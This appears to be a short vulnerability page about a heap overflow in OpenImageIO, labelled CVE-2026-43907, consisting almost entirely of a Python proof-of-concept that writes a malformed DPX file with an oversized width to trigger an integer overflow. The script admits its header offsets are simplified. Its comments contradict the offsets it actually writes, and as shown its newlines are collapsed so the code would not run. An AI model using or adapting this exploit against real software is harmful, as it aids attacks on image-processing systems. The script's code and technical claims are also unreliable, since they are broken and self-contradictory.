CVE-2026-43907 OpenImageIO堆缓冲区溢出漏洞

# PoC Concept for CVE-2026-43907 # This script generates a malformed DPX file with large dimensions to trigger the integer overflow. import struct def create_malformed_dpx(filename): # DPX file header magic magic = b'SDPX' offset_to_image = 2048 # Construct a basic DPX header (simplified) # Setting width and height to a very large value to trigger the overflow # in pixels * -3 calculation within 32-bit signed integer range. width = 0x70000000 # Large width to force integer overflow height = 1 header = bytearray(offset_to_image) header[0:4] = magic # Image offset (little-endian) header[4:8] = struct.pack('<I', offset_to_image) # Width and Height are at specific offsets in DPX header # Offset 768: Image Orientation (unsigned int) # Offset 770: Number of elements (unsigned int) # Offset 780: Width per element (unsigned int) - Simplified placement for PoC # Note: Actual DPX structure is more complex, this targets the logic vulnerability. # Writing width and height into generic positions for conceptual PoC # In a real exploit, precise header offsets must be matched. header[16:20] = struct.pack('<I', width) header[20:24] = struct.pack('<I', height) with open(filename, 'wb') as f: f.write(header) # Write minimal dummy data to simulate file content f.write(b'A' * 100) print(f'Malformed DPX file created: {filename}') if __name__ == '__main__': create_malformed_dpx('exploit.dpx')